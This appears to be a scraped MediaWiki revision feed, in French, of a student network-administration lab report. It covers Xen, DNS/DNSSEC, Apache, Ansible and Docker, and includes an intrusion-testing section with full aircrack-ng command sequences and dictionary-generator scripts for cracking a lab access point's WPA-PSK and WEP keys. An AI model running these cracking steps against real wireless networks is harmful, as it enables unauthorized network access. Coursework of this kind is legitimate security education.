&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51783</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51783"/>
				<updated>2019-12-10T10:01:16Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension  de  sécurité sur notre DNS  on l'active  dans  named.conf.options  : &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclu alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
on  signe les enregistrements de la zone en executant la  commandde suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
on communique à ganid.net la parti publique de nos clé (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélection l'algorithme rsaha1). on le fait pour KSK et ZSK &lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51781</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51781"/>
				<updated>2019-12-10T09:25:45Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
